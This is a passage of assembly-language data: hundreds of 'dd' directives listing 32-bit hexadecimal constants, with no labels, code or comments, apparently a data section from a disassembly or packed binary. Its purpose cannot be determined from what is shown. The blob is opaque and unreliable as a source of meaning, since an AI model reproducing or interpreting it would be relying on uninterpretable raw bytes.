0F67605Fh, 0BFE69D31h dd 20EB604Ah, 0F98D01DEh, 0FB9A96BEh, 805835ACh, 3912DE8Eh dd 7D19FB62h, 0FA52712Bh, 2204FA05h, 0CBEDAA9Dh, 91340CADh dd 1D5F634Ch, 38494CD2h, 9E5F4A2h, 0B9D96141h, 5CB299Dh dd 0A530572Ah, 543C3B39h, 0A07980F7h, 0D1423883h, 0F51F01B5h dd 0D67D9C65h, 17F1E6FFh, 0D5379600h, 9DE29311h, 5642C194h dd 352F7621h, 0E11000F4h, 5AA43191h, 39E9FC5Ah, 2D78082h dd 0D32564E5h, 2E885063h, 0A913E075h, 38BA03E9h, 0E15A994Ah dd 5DA022F7h, 2FBEFD34h, 144C7D40h, 5E5C7CBFh, 17EF6E32h dd 0D9AA7DFDh, 6AD46F55h, 23176BBAh, 87FF0117h, 2F56DDB7h dd 8501D090h, 0AF165AADh, 645A196Ah, 0D8A7AAD1h, 3195E04Ah dd 51C81383h, 657ABA16h, 50001B23h, 531DF64Ah, 0A0BE2771h dd 0A8F35A00h, 109D5FAEh, 723F37E9h, 0E9BF4E0Bh, 0EB81C173h dd 0B86F1F47h, 61AAD697h, 2E31A5E4h, 0D09C98h, 615E6D8Ah dd 44C325C5h, 0FEC97105h, 81BA6AA7h, 80629A8h, 13CCBAD9h dd 0B63FDB80h, 0F887451h, 0BF57A08Ah, 3A360A08h, 8BFEB037h dd 5B760F91h, 32E9124Dh, 7A55C96Eh, 9D29A2B0h, 81F75299h dd 120CBB4Fh, 0A46B367Dh, 34E822Ah, 281688Ch, 99C63BCFh dd 7DA6BA22h, 2D20CAD8h, 4ECA982Ah, 812BC4F5h, 6E0271C9h dd 0D10163C8h, 2B13EDA6h, 3E85E7C8h, 0FEF4481h, 14A5BB47h dd 0EBD3D18Fh, 0A09DE3C8h, 0E6F8BF4Ch, 63D4BE80h, 5F8B4C44h dd 3A6761F0h, 2AF6B4Eh, 15B195B5h, 0BDD94E1Bh, 20BED233h dd 0A4BB9223h, 0C6019400h, 3534955h, 92C1599Dh, 111E5B24h dd 20BB0257h, 7601B78Eh, 0D39DCF2Ch, 222BB247h, 51809D3Fh dd 9419EDAh, 57C9B532h, 0C9327661h, 0B5E5CF18h, 62EBCB00h dd 9F0BDF85h, 371C3AD8h, 0D181B783h, 701A4A7Ah, 1BEC2054h dd 79D0D884h, 49B19D7Fh, 2A0FF95Ch, 0CBC015DBh, 8CB28925h dd 0A72CEA04h, 51E8E52Eh, 60513320h, 0A6896A84h, 27466A6h dd 4CC1CCD4h, 82BCF1DFh, 0D8B9FE8Bh, 48B66358h, 23F13C40h dd 0C5D00B6h, 5A0DA5CDh, 0D20006CAh, 5805087h, 9BF4344h dd 24B3DAB8h, 559444D8h, 7EF27DCh, 0FACC1057h, 88A85B0Bh dd 1600C407h, 0C07ED6FEh, 1AFC14CAh, 0C5458D09h, 0F5EB0957h dd 2FF3896Ch, 0D22BB121h, 3915717Fh, 0CB2E0729h, 0F33C76C1h dd 2A999DD8h, 60FA309Dh dd 0E81C3DB5h, 42207BC5h, 3C18D271h, 9C0B40Fh, 0FD5802EDh dd 0F97502B2h, 85BF8472h, 0ACF3E9B5h, 0A0018C1Ah, 62F0ABB8h dd 3D30BA8Ch, 0AF094E65h, 6A4B123Ah, 56BB1692h, 253F95FCh dd 0B9ACF8C0h, 959D010Bh, 71DF7412h, 0ECD03D82h, 9578D3C9h dd 0FE0125FEh, 0AFD203DBh, 728226D4h, 5C737DDAh, 29481951h dd 4EA504F4h, 0B7B57747h, 26F91058h, 80E1FF02h, 0D6742EE3h dd 82045250h, 2800C3F9h, 0A325E51Dh, 982F00F8h, 0C07830F4h dd 0D04E0504h, 0D56B61EEh, 745F022Eh, 0AD3F51D6h, 5BECD05Dh dd 8CCFA30Ch, 5DF9F3F6h, 2EBDF360h, 0B92041C9h, 0A2014B6Dh dd 0BD2904C8h, 9B340295h, 99B0C78Ch, 0F653AC90h, 0FF6297B4h dd 438BA15Eh, 0D076F301h, 0E2B7FC53h, 1335571Ah, 57811791h dd 6EB1998Ch, 41457E9Ch, 7826E0Eh, 0A7B374F0h, 4F47176h dd 0AA4C6BDBh, 0C487FE90h, 0C0014D4Bh, 6608E914h, 84401B68h dd 9668F807h, 60C8C74Eh, 74612582h, 4C690F47h, 0A4733869h dd 76FDC70h, 0BF476475h, 38192087h, 31259D29h, 69E0D133h dd 0F8409ECDh, 4EB3727Eh, 60498D43h, 778A0864h, 61603918h dd 102EE934h, 0E059A6AAh, 9FBB6D9h, 5D803861h, 97A3E455h dd 0D2AF09BDh, 810F284Ah, 89D69538h, 41BCD540h, 6F3E1CC7h dd 372301E7h, 613878B8h, 208F540h, 0D8E78461h, 8DEE61BAh dd 0E88A2EEDh, 0CB042158h, 0E86404B2h, 0A4C65C3Dh, 271136C1h dd 3F68C104h, 8B9E6E7Fh, 0AFE0438Fh, 5EB6E2EDh, 598FDB95h dd 0A22F191Ah, 97B1024Eh, 0F4C99D23h, 86782DA7h, 1CC81AE1h dd 83733BC0h, 0AD8802DDh, 8BF5C43Dh, 0D82CE37Fh, 177BD409h dd 0A7515750h, 92962776h, 88E7C098h, 17640045h, 6B3423CFh dd 1A9D7977h, 0BA60D553h, 85972BFAh, 8BAEF9DBh, 874C5830h dd 54B5B486h, 2A53D9FFh, 1D718CF2h, 0F494B350h, 8401ECD5h dd 0E4EAB878h, 221C7C2Bh, 0BFD95239h, 0BC2A5F77h, 0F6087ABh dd 2A96D569h, 96258EBFh, 4F80B2DBh, 3D731DD6h, 0CF2EFA74h dd 2E906A29h, 0A8C80C69h, 0FC9D858Dh, 8348F65Ch, 0A0A84BCFh dd 2CEB508Dh, 3ADF55B9h, 1CA83CB9h, 0BC0033A4h, 1A016058h dd 0F44582BFh, 0B79561h, 79090B09h, 0B08167E7h, 3E179BCFh dd 0EBE01497h, 0DF892F38h, 0A620C679h, 0D74B4569h, 15F1E635h dd 98021418h, 590FE9BBh, 705A5B62h, 0D6B07F9Dh, 0E5E57325h dd 524F12C5h, 0E18AB6C8h, 28F88559h, 651A09A7h, 0CC5D510Bh dd 211D20D7h, 0CDEF5B52h, 0F96E7C11h, 427B85Fh, 0A37C97C4h dd 0D809EF41h, 6694D520h, 10B02B0h, 5D2A3195h, 0E551103Ah dd 0B5B4CB16h, 584816DAh, 0C437001Ch, 560CB026h, 0AC853D4Bh dd 677BBFh, 18B3DBF3h, 12ACB006h, 0EBD980D4h, 0D89703DAh dd 961D504Fh, 0BB075F51h, 72578634h, 73C8829Ah, 5D07D387h dd 39BB4634h, 9AF07A6Ah, 0AD065E41h, 99FECC8h, 5A181787h dd 73694774h, 181B594Ch, 0DA27003Fh, 4FEDCAABh, 0BD1731CBh dd 75AF12E1h, 80F4A8F9h, 0FD29DD2Ah, 92E600D3h, 0B6B59EC0h dd 2C079A4Fh, 7D7B68B7h, 35819B44h, 9E6AC486h, 0D363C032h dd 25805CCCh, 7CD952E7h, 2F7B0054h, 7F303145h, 8997F523h dd 81842050h, 58A099CBh, 501331E6h, 82869B20h, 0DD0523AEh dd 425CE632h, 6A5F5241h, 4ABD6F6Fh, 896622EAh, 2F2861E1h dd 257C698Ah, 0B1542735h, 4A1B46DEh, 690F42AAh, 0D975BA17h dd 1296130Ah, 8085B238h, 0B4FD50DAh, 3931006Ch, 29018187h dd 993F92A9h, 0C0775C8Fh, 5C9E4910h, 0A80E00E5h, 0EFA7E3D3h dd 68C59687h, 6FBA1B79h, 3D1C2377h, 3560EECEh, 0B5059D03h dd 0CD499979h, 2936C042h, 0F5B59BDh, 37882FB3h, 40E57CA5h dd 0BBFC0EF1h, 0FD37E0Ah, 5058A386h, 0C149003Dh, 728E319Bh dd 1905B224h, 324D2ABDh, 0D84C90EEh, 0F20FBF50h, 5312BC68h dd 19B9CB04h, 0E545A6FBh, 0B8216670h, 1AC1B7B2h, 0FD752E15h dd 0C200D8A2h, 6C6E34F8h, 2E099913h, 735FAFB7h, 181659E5h dd 0EC0C0226h, 212DBD23h, 80B5EE75h, 9060FA80h, 0BEC20FE0h dd 17E4698Ch, 0A4F4B861h, 9B2652FBh, 0BA11811Eh, 0F9D09BE1h dd 4C5E9769h, 0ABAED4h, 75DF2FF5h, 0DB105954h, 0B27AC65Fh dd 17EBDE01h, 8F912C5Ch, 8B9589DAh, 0ED9E572Fh, 75C1BB03h dd 0A5E92EA1h, 6F1113BBh, 57202593h, 999DC298h, 0BCBC184Eh dd 0A000B6D7h, 253715C7h, 0E1CE8DB3h, 0B5207122h, 0FDD86B93h dd 0D074FBFh, 0B9618AECh, 0E09EC500h, 0F159B526h, 444817F9h dd 0A1290B49h, 375D6A07h, 9DA8A6B8h, 88445E5h, 0BCCCA96Ah dd 74FC4871h, 1062B75Eh, 94402ED9h, 0FF12DD1h, 0EF12AE54h dd 0F809F0E0h, 0FA024A29h, 13FAAC35h, 393F6FF7h, 551B04A2h dd 0AC2BECCh, 0A7AB55CDh, 25DE1AD6h, 92D7CE79h, 4A5E8EDEh dd 0F62B12h, 47C031F5h, 0FC93AB49h, 574B6BBEh, 7D008F64h dd 0B090FF10h, 437CD36h, 7F319AB2h, 0A7DAEB7Ah, 1FC3FED1h dd 0BF80F3BCh, 5225B368h, 9002E65Bh, 0D1BBA058h, 19BF1266h dd 89E1E299h, 4F3DD5B7h, 4C0B1B9Eh, 854DF6B6h, 0BA18E595h dd 0C4B6D134h, 5FF7FEA4h, 80154354h, 6809EF81h, 126A0D3h dd 3EC8BB37h, 0E807043Ah, 0B9875E0Dh, 0E0F0DE89h, 980AD1Dh dd 1F0462F8h, 0F2103FFh, 0D0BAA831h, 362109C2h, 880BB966h dd 5E586255h, 343FDCDBh, 985800B5h, 89334AA7h, 0B2F14B8Dh dd 2D1594F4h, 0C617D9B7h, 40B332DBh, 1BF09D0h, 79D7F8FBh dd 3B604056h, 28237C08h, 54982503h, 1C70BC73h, 89EEB7FCh dd 1F423A97h, 0EA7EAF2Bh, 80F82AE0h, 0BF7F02CBh, 6519ABF1h dd 0F742DF2h, 13258091h, 8A19E814h, 9DAF006Ch, 495A4223h dd 0C602EFC0h, 0FEAD1B3Bh, 5BFB82A3h, 40C5FC90h, 799249ACh dd 0C4E2FB09h, 3C437B60h, 1DEEB90Eh, 88846569h, 12745403h dd 1FF661F7h, 4E39B240h, 0CE6EAF13h, 0A84EEA57h, 211705F8h dd 0E0AAC85Bh, 1F4F8D91h, 74A66CF7h, 0D9A18D25h, 521B648Eh dd 40AFD916h, 0A03EBB78h, 0E4252450h, 23161071h, 0B99C0041h dd 0A2B32535h, 7C0474E5h, 7A1A3AEEh, 5F97F6EAh, 822AB5A0h dd 8181205Dh, 7A4768D7h, 0C73897BAh, 41E3D6Dh, 718924A0h dd 215801A5h, 0F4615B07h, 0D2BCF87Bh, 42E16D12h, 928CAC6Ah dd 0AC3A42E1h, 0C82B80F8h, 9C219D09h, 89D18236h, 0CEFE6585h dd 9C619B91h, 7AD6D8F7h, 0C2606F8Dh, 554C0150h, 0DD81BF47h dd 0F9BC2ECFh, 9B7E5127h, 8529CB02h, 0DAFA90Dh, 17522030h dd 9773D5DEh, 88CCDB2Dh, 569527BDh, 0D2C30945h, 0A4357923h dd 1DF30258h, 0D6896137h, 394699D7h, 25860414h, 6529BB2Eh dd 2E159E42h, 0C2D687C9h, 81A750h, 6F641D21h, 66DFCAADh dd 0E47F0C82h, 0B2215BBDh, 6F34844Eh, 6AF88B02h, 0E0E76DF5h dd 3295A127h, 82A07200h, 8A605D90h, 0E984C5F4h, 0A9AE5006h dd 0ACAEE94Ah, 19E68C1Ah, 3AE37805h, 0C304BB3Dh, 0B902332Dh dd 3DDD0EF1h, 1A7B0AABh, 0E910995h, 0EBC6E755h, 0CFFC23ECh dd 0E14E0E62h, 3BFC072Eh, 2B431D7Ch, 0BFD291C0h, 5BB420F4h dd 8142B664h, 0F8DAE381h, 6E3ECF71h, 4CE000F0h, 7578EB89h dd 0A14D7187h, 0DC2E199Ch, 65F60352h, 4AED2E4Ah, 98C18BCh dd 0BBBE3ACAh, 2ED06E2Dh, 0E3F8529Dh, 3F4425CDh, 7693CE5h dd 0DD89F584h, 47E1154Dh, 8EBAD4F1h, 35E70125h, 7730761Ah dd 0B280C337h, 8218EFF2h, 4D762758h, 452D1164h, 58F95E17h dd 3E094A28h, 792E3F74h dd 0BD33024Dh, 71D52491h, 3BED4B8Ch, 0E6455240h, 58630E2Ch dd 0FFA0AD31h, 828CBFE1h, 0E5605725h, 63B11A29h, 0DF9BA02h dd 9FA4757h, 414F03B9h, 8A4A6C43h, 53275E58h, 829EEEFCh dd 0E89CDAC2h, 17557140h, 74BF6080h, 38EE25B4h, 0BBDB29E2h dd 55B4370h, 32DF36B2h, 16D5A844h, 14EC04C1h, 0BACCBBC4h dd 0BA4FDFA2h, 482E1D2Dh, 2B96293Bh, 0EA9232A8h, 0B69220DAh dd 0BE4500C8h, 818C1B2Ch, 0B69009DBh, 0CCD532EEh, 89C179EDh dd 10C36E60h, 0F6BA98D3h, 11616BC4h, 3182A256h, 8913FD95h dd 8010774Ah, 0BE00761Bh, 8DB4ADFh, 9DC58h, 68BA8E89h dd 26DEFAE4h, 0EA0E3FEDh, 755B0980h, 0FF2EC7E5h, 2B781180h dd 2F64562h, 0E7F49D46h, 0E275DA8Fh, 0F2B25732h, 1CE8F175h dd 93D56561h, 562400FFh, 225513BFh, 0CB955F68h, 0C4B0D15Bh dd 0D78952D4h, 9E20AA31h, 769234h, 27DF91E7h, 2FD4693Ah dd 0B00BC477h, 0F47236EFh, 319E4095h, 66052C3Bh, 0C3D2537h dd 0ED17FE00h, 12585F5Bh, 0BBFFCB80h, 65BF1260h, 2C9A979Dh dd 2B075F7Eh, 1B4E90Fh, 80AEDEAAh, 10D8237h, 4BF07E3Dh dd 3A21CDB5h, 18C1D1B5h, 0B1D5E72Ah, 1F6AA353h, 0E7D1AD05h dd 30AD974Fh, 4FE7F35Ah, 94EF3C85h, 4EDBAB58h, 0D160AFD2h dd 979D2942h, 98AAAC5Ah, 8032BDDFh, 0F3AC5D4h, 839EDBC6h dd 74F26225h, 3404DC65h, 0E966B6BAh, 4EC0DBB8h, 35C66141h dd 99221C00h, 3233E3FFh, 20BF0250h, 9662919Ch, 8961BAD4h dd 0BD2A1DB5h, 68A0D8C5h, 48B470B2h, 0DF133B91h, 4DAFA0E1h dd 6F1E4F09h, 0A57571F5h, 8E7EE3F6h, 0CFC409FBh, 46C6BD89h dd 57DAE025h, 4C2C89B5h, 0B28A1FE0h, 78CE000Fh, 963F27Eh dd 3340259Dh, 6E614EF5h, 13524Dh, 0A293D198h, 9BB2E05h dd 11E7D327h, 0E6B8771h, 3DBA32CEh, 0DD29CA40h, 80226DC1h dd 0BF12B311h, 4B811EC4h, 0F8889A6Ah, 0F8008C1Bh, 0C174B843h dd 0B7300698h, 9D2769F8h, 0F43ED60Fh, 17B55900h, 0BFA95276h dd 20401DB6h, 66B24226h, 0CAD14C91h, 3849E201h, 352CEC58h dd 0B1B876A0h, 0C5097E25h, 38CF1DB2h, 0BC9DED4Fh, 228617CCh dd 0CB32EE2Bh, 0E696DD8Ah, 0F95B9B64h, 0F357DCEAh, 0C6324A25h dd 0B9F85A7Eh, 0AC17AC27h, 43253CC7h, 1974A4A7h, 0D099DC1h dd 0E081EF04h, 0E76AFCC2h, 4019B0D4h, 659101CDh, 2E28B5B0h dd 4FD287C0h, 768A933Dh, 0DDFA5244h, 0C3AC7B71h, 0BF575B25h dd 458C8064h, 0C5A4CA70h, 0F1969FB0h, 646E6DA5h, 0E6676016h dd 8B502F7Eh, 5F4B50C4h, 0DA6CBA04h, 0C8379AAEh, 0C03AC714h dd 53F76AE7h, 31AF085Ah, 19D9B713h, 4B2D0764h, 8C3B857Fh dd 500AE4B3h, 54EF007h, 6F78C0D2h, 5F0C25BAh, 905550C2h dd 1CF83D42h, 408359B9h, 556A42Dh, 0B328D25Ah, 9C0BEB61h dd 7433FEC7h, 59EDE9A2h, 2509784Bh, 0AF732A3Dh, 0A0ACF996h dd 0E9151696h, 9379CEB3h, 0AB918CAFh, 73DA9A4Ah, 8BCD305Ah dd 0FEBA50DFh, 9FE7D497h, 7956A7B7h, 38AD1902h, 858B0A06h dd 0ABDA8B60h, 734C6AA6h, 8F39A24Bh, 9895B229h, 858E60FBh dd 3A972F49h, 58E40312h, 0E675CA44h, 0D0D19702h, 260D18Eh dd 5CFA64A2h, 0A56B5107h, 78FF7B30h, 0EC4A6922h, 0CB05BBF2h dd 0AA8B2808h, 96C9E7B1h, 0E16EDEDDh, 0F8AD2E27h, 0E0D1E7C0h dd 0FE017BD3h, 19406561h, 6E2B9693h, 0FB220AD1h, 90BF03Dh dd 59CE7423h, 1C881BDAh, 0CCD5E8C0h, 3C86053Eh, 0BB2915B9h dd 0BD230D30h, 0ED2EEF61h, 636AB9D8h, 319821F7h, 6C948595h dd 0F3E95B16h, 0A84EB9D2h, 0DCAE017Fh, 0E6541C07h, 29E1CC9Dh dd 2D919512h, 28E24CB8h, 7E9ADF2Bh, 3F5651CAh, 3060EB68h dd 8C92FAh, 0DDA338CAh, 0C67EB0E8h, 4903AEB7h, 85CD7503h dd 528AFB2Dh, 0B4F55175h, 0E854BBA8h, 51A17607h, 9C26E67h dd 0ED925D89h, 0D753C07Fh, 0C01B12D4h, 0CF6B354h, 4B619D31h dd 0EF5D290h, 44F8DEE2h, 0C5A42175h, 70828B97h, 8A7CBFA2h dd 93680CDEh, 8E86108Bh, 0CE73D6E1h, 7C716178h, 0BF1402FCh dd 3FF8B30Fh, 5F2FC756h, 31900011h, 0F904A765h, 1A462FECh dd 60A95700h, 0E382E5A8h, 0E67E0204h, 330EBE97h, 45BB7860h dd 1A416CEAh, 0CC5C12AFh, 0AF1C5E5Bh, 0C9A2B621h, 0D1A6C4h dd 0B51A5711h, 0CEAE810Ah, 7632E927h, 2D1A490Dh, 859AD9FFh dd 0AA5FE1A1h, 0D99513C0h, 0F0808029h, 0CF9561ECh, 0B7DE4085h dd 775A2C5Ah, 11D4491Fh, 69B5C2F0h, 0FAED5517h, 0A1E0F4E8h dd 131C5BD5h, 44519D29h, 0ABD98BF8h, 14C8FEDAh, 55F869CEh dd 0FF27D2C4h, 0C068EDD1h, 799C010Ah, 99099D71h, 0E4161FC0h dd 0F39F1C62h, 38A10075h, 4645F240h, 263AA200h, 98B6645Eh dd 5BF70481h, 0EE63B7CAh, 4821488Bh, 48F60212h, 500DEAE0h dd 36FA604Bh, 3AA20B94h, 0BDCD10F7h, 0DD334A01h, 0B5F201B3h dd 0F0BB0307h, 257D4326h, 0FF597BE9h, 100598C7h, 9F4D30FBh dd 0B0097959h, 5D91FAF9h, 0B89000B7h, 8504D921h, 0F8099293h dd 7F6E755Ch, 8AAC6D52h, 0BC09BFB5h, 8F9C572Fh, 0D4C494h dd 0DF749EF1h, 0A67011E0h, 29BD0B09h, 0A7605B02h, 0A96AF907h dd 17C0FE4Dh, 2BF12FCh, 4FBCBB4Ah, 0E6F735C0h, 9D0B0C15h dd 0B5790579h, 2DF5D57Fh, 3DBC68h, 0BF217022h, 0DCDB6E6h dd 297E0497h, 18A27AACh, 0C508D12Ah, 0F0B01728h, 32B82B8Fh dd 133D32F9h, 5B270E6h, 598D5300h, 0B619FD3Fh, 0C72B3B09h dd 600F0778h, 0C8AE8B14h, 0BF090F52h, 0F55F61CFh, 0DB6025C4h dd 8FD5BB49h, 0AE334ABFh, 0BAF8F144h, 4D34DCF3h, 0B263C4B1h dd 29120064h, 0C34B5C04h, 0F0DB0092h, 39B10DB2h, 0B00BD307h dd 7529DFB3h, 3A01296Ch, 0D7DE8DF6h, 0A9144A8Fh, 50D108Eh dd 0E9E5E092h, 4C958770h, 0DC2000D5h, 1CF71171h, 0F4008C64h dd 0FB6B08D4h, 17A41BC4h, 72A9D74h, 4E491Bh, 8FCF8144h dd 2B01CDFDh, 40489911h, 503DBED5h, 1EC33751h, 0BFCB8001h dd 998482Bh, 0D80DABA0h, 133DE961h, 0F98B352Ah, 5BD8275h dd 0C6EC5515h, 8D302245h, 0F22B5A35h, 59BDC4F3h, 7601434h dd 0B6740A12h, 7E251077h, 33DC0127h, 5E494449h, 0D3C5B921h dd 90F0208h, 944254B9h, 372F0B54h, 0D8180020h, 0A52FDB7Fh dd 3B261724h, 19131588h, 34097261h, 0B79FFC17h, 386904C8h dd 0A9A08178h, 0F9610722h, 9041C02Bh, 0F23A1B55h, 0C3A692CCh dd 0E3E7E8A0h, 6228DB75h, 0A125C36Dh, 60915B22h, 8BFAF381h dd 0AD635D3Eh, 809DDBDh, 11863557h, 82438018h, 97392AA1h dd 79B5CF30h, 82B1598Ah, 26D9BD23h, 71997355h, 2184C31Ah dd 25E4E799h, 0AFE28E2h, 0B53DBABAh, 9C76A459h, 4B33C159h dd 0F6C63188h, 0E7BB6620h, 434DB56Bh, 0CA6AFFCBh, 30DB7B41h dd 2BE1E9A2h, 0BFAD8F38h, 876056EFh, 2650C75h, 1E629A0Dh dd 6D77A611h, 62144439h, 51895702h, 0CDAD9353h, 3F674074h dd 0E50B78FBh, 0BBF3652h, 6034540Bh, 0C08AE881h, 610EFF1Ch dd 2685217Fh, 30FE1602h, 0F85A6B36h, 72869C00h, 20BB1EACh dd 84171223h, 5285006Ch, 5F25E376h, 33E1FF29h, 15C64525h dd 0F934F5B4h, 0DE2AA66h, 0F704BE85h, 0E8AFA1EBh, 2A127968h dd 89C7B2C9h, 0F6E6F659h, 7C1C3D2Dh, 2629100Eh, 1DE3960h dd 4AF89873h, 2BD258EEh, 0A26FE316h, 0BCAD017Bh, 0A336AEF9h dd 0D7FC8403h, 0E2AC4E72h, 963BDB4Ah, 5BC16EBh, 0AF1A85F8h dd 1A3BCE32h, 7BD4DE56h dd 0CF8E01FAh, 0DF98E090h, 78322A24h, 0E1EA7556h, 0D09A5355h dd 0F07A2560h, 0E162EF04h, 4BE4173h, 13136951h, 0D7091D0Ch dd 0FB904F61h, 0F5D7E830h, 36283AADh, 0F5ECC637h, 1942AB5Bh dd 705325BFh, 56572535h, 0DB4C0B77h, 0C4F7787Dh, 0D4AE6702h dd 82E8D98Ah, 935B9h, 0D0F1B168h, 32C8294Fh, 8F170024h dd 7662828Ah, 0D3003537h, 0E9E589FEh, 4BD2991Fh, 0DD9F20B0h dd 0FB1FA50Bh, 0EC4FFD4Eh, 0C3290361h, 3F4CC8A8h, 545697B6h dd 0F1AA5B44h, 0CFF2FC33h, 26A2294Ch, 3109C9D9h, 0A7915113h dd 0FE547C62h, 20377D49h, 0E32C6680h, 76FDEC8Eh, 63C0BD38h dd 0E912E2B7h, 74EA01EAh, 8204AD81h, 5586C781h, 7397D6E6h dd 0B9FA78B8h, 49DF5C95h, 0DEDD29D7h, 0D012F6D0h, 65EE87C7h dd 5A2CE3F4h, 2A2DD2A8h, 25C6E79h, 0A87FEFAFh, 0C4D503EAh dd 0FF894F04h, 35950460h, 0F0D99520h, 55F12C5Ch, 0E1BD0C93h dd 851201C9h, 2DB91911h, 5C8C1AA8h, 0AE4FBD8Eh, 5B34A314h dd 515401AFh, 28EB8A60h, 0C27880E1h, 2FE56EDFh, 665EFCC8h dd 0D08B6005h, 13AAF6AEh, 80BB19E7h, 9686DC8Fh, 0DCE1BEh dd 1AAB0AD7h, 0B5FF12A1h, 0F6355E9Fh, 276B8413h, 0BB8024A2h dd 78853F77h, 3BC9C0B8h, 0CE4D0C8Ah, 0C78724BFh, 47C149AFh dd 0F1C32658h, 0F87E3FD5h, 71FC891Ah, 52908CB8h, 0C29FFA60h dd 48C5DF8Dh, 13D1A4ECh, 64905F59h, 751AFC1Eh, 2B5EBD7Eh dd 9AB441BDh, 0B1D4C0A8h, 0F11EC2h, 0BFD5874Dh, 793C2B91h dd 0BD1002B0h, 69722819h, 2A97485h, 46478251h, 6FEE120Eh dd 8C142E5Fh, 2C28D300h, 0B5E91809h, 0B80F8C29h, 0AA699C13h dd 5F92BF00h, 7C2291E0h, 1CEA1E9Ch, 0D2BB0EE9h, 0D937F2C7h dd 25DDC971h, 3A50C353h, 0C0900BEFh, 3B5884ACh, 0C5E27F25h dd 0EBB71382h, 0AA3E0E8Eh, 97789EDFh, 2305AFBCh, 0FC31B7BBh dd 0DA00AAC0h, 0BE38FFA8h, 0F97A69A9h, 7236E295h, 5B8DECA4h dd 6A6EAE33h, 23CF344Dh, 36755160h, 1913C8F8h, 9CE8568Bh dd 0D9E69880h, 675B661Ch, 306D39AEh, 3140290Bh, 789550h dd 0C02B0345h, 34895B08h, 0DC6374B5h, 0DD428C18h, 82271DF6h dd 2E5EA60h, 0EB565C9Dh, 0A6E4C410h, 0D187CBFDh, 66C62D85h dd 121F489Eh, 0CAE204B5h, 21D98B85h, 6A096074h, 0B3FB95C4h dd 25B0758Fh, 80F58039h, 0FFDEA504h, 0A9035Eh, 0AEE235E4h dd 6120D2E9h, 620C5C9Fh, 0DD320ACFh, 256FA6C0h, 9F2090B7h dd 0BD0E0760h, 0F87F4DF9h, 25B55308h, 0A5F3DF8Bh, 1D5ACDD0h dd 0CA0D500Ah, 17D03866h, 3775AED9h, 25A110B6h, 0B31A2EEFh dd 0E99D5653h, 0D4507Eh, 0B1EE9535h, 61C56554h, 8222E225h dd 5745E64Fh, 6B1364E1h, 6A4E5A8Bh, 0F0970924h, 0DD31023Eh dd 9D230129h, 2517E15h, 273BB82Ch, 0A861B507h, 4A242B33h dd 0F068B7AAh, 2642D8E5h, 295160B1h, 39A580D8h, 0C76CE2D3h dd 0B5C123BEh, 960332B9h, 50DE8609h, 28A7960h, 0B3CA29B0h dd 95604576h, 25809BEAh, 9E649661h, 2D81FB0Eh, 0E5EE604Ah dd 5EFDAD48h, 8578D0Fh, 0D13CBB70h, 8F792DE5h, 5CF0292Dh dd 0B373EB21h, 1FA3550h, 800534A5h, 54DDE8E0h, 0A31FB8ADh dd 7ABB8547h, 0C5FF13F3h, 272080ECh, 3BDF99Dh, 52C870AAh dd 0B5C58CCDh, 97745601h, 0F33D422Ch, 282AC0F3h, 67B6249Dh dd 0CD2E02D1h, 1557AFB7h, 0D1F24136h, 97B035C5h, 22BAF5A2h dd 0CF7781DCh, 0E137C00Ah, 46796EAEh, 0C7BEFEBDh, 309981Dh dd 1C427DBDh, 0F81973DDh, 0B51A7EC5h, 40D35396h, 97EA507Ah dd 0CE6D26BAh, 0AB1FEB60h, 4C53FA19h, 0EE5B1C6Eh, 95BD6045h dd 3B753DAEh, 0B44935BCh, 0B5037DBCh, 0C0BB7ED3h, 9F8C8CE1h dd 14BA00A2h, 0B789D0FDh, 9727871Fh, 55A67429h, 53D56900h dd 268C8F49h, 0AEA0AB1h, 0DE62C6DBh, 4E0A6000h, 5A37651Eh dd 120593ACh, 2E06B129h, 3821923Dh, 0E9A4D03Bh, 8F97F23Eh dd 0D7916B6Ah, 0CA2B36B5h, 5765779Ch, 44819599h, 257BE83Ch dd 496376B3h, 8ADAE1DFh, 0F85C213Fh, 268C7E6Ah, 0DF5B064Eh dd 1A611F01h, 0B414669Dh, 0B8EB4064h, 7700414Ch, 482E607Fh dd 1CA67D2Ch, 0EF898E8Dh, 9E942C55h, 0EF107194h, 5DC5725Ah dd 7420BA53h, 75F3EB7h, 0B5B9AFCh, 11DD6950h, 5D100857h dd 3C055C47h, 7AD82DAFh, 1DE36F40h, 15DD7Eh, 57905B35h dd 53B13BBFh, 0E05F5427h, 0FB23C790h, 956D8920h, 4DA44B7Ch dd 0C5EB15DEh, 8711A4D7h, 0C9125F03h, 899D81B9h, 5779100Dh dd 40C2CD69h, 8C0FFE55h, 202E0A45h, 0D3DA3FF2h, 0EE9C9525h dd 61359F5Dh, 0D1FFDC04h, 276184C1h, 89D0E37Ah, 0A89A7534h dd 24AD7C4h, 503522AFh, 4A971BC6h, 76E4406Ch, 743500AEh dd 173C648Ch, 0A1160577h, 49FBE90Bh, 117B153Fh, 0E76625BFh dd 109E0806h, 0D19D3102h, 0D0D67B2Ah, 0BE598459h, 686016E1h dd 1DACDBADh, 49D0038Ch, 0E690A55Eh, 86DD60CFh, 0F0981B7h dd 0FD50F9BFh, 72BBF698h, 39899013h, 0FA892DB8h, 65FB6DD5h dd 6B6C2018h, 3D24BFBBh, 0F227E1AEh, 0DF569F81h, 1283AED6h dd 0E65E858h, 0F2121172h, 1DAC84Ah, 0A777ADBFh, 0A5A3600Dh dd 0E85E79E9h, 8CA601BAh, 7195463Eh, 2029C5C8h, 94970414h dd 8514E11Eh, 0E7A2EA8Dh, 309B08Eh, 0E609A979h, 183DC170h dd 9C71E401h, 592DF910h, 7ED491D4h, 0B64AFB78h, 82055CB4h dd 2AAD0160h, 0CB7A5CB7h, 60616AD5h, 4BC7800Ch, 0FCFE81CCh dd 0F4012EF8h, 0FC8FABBh, 207B53C5h, 0C003E793h, 21A6D900h dd 4731F214h, 96294CE0h, 0BFC82B00h, 59A79F99h, 0EED18B32h dd 0F7802003h, 7B50E9F2h, 579B8D7Fh, 4C1CCBA6h, 951CDA6Fh dd 27AAFF88h, 124B32CBh, 2EED6DC1h, 22F3F32Ah, 43BB3B10h dd 0E9985EBFh, 9D2B1546h, 92843D4Eh, 0F7C39DEBh, 292B72D4h dd 7925F75Bh, 80240113h, 0C0D18789h, 0F1025DEDh, 499EACF2h dd 49044231h, 5B315B19h, 6B96704h, 0F8E7982h, 0E041EDDDh dd 3188BA2Eh, 8560929Dh, 0CF95710Ch, 0CA06FE7h, 4F04EF7Fh dd 6784F0BDh, 127DA8C1h, 24CA76Bh, 0B9E1CB80h, 31BAA075h dd 0A429A18Dh, 82FC4FA3h, 0E70E118Ch, 41840160h, 0B8669FD0h dd 83EF5F10h, 0BBFFBF3h, 56D80CF3h, 888A9D28h, 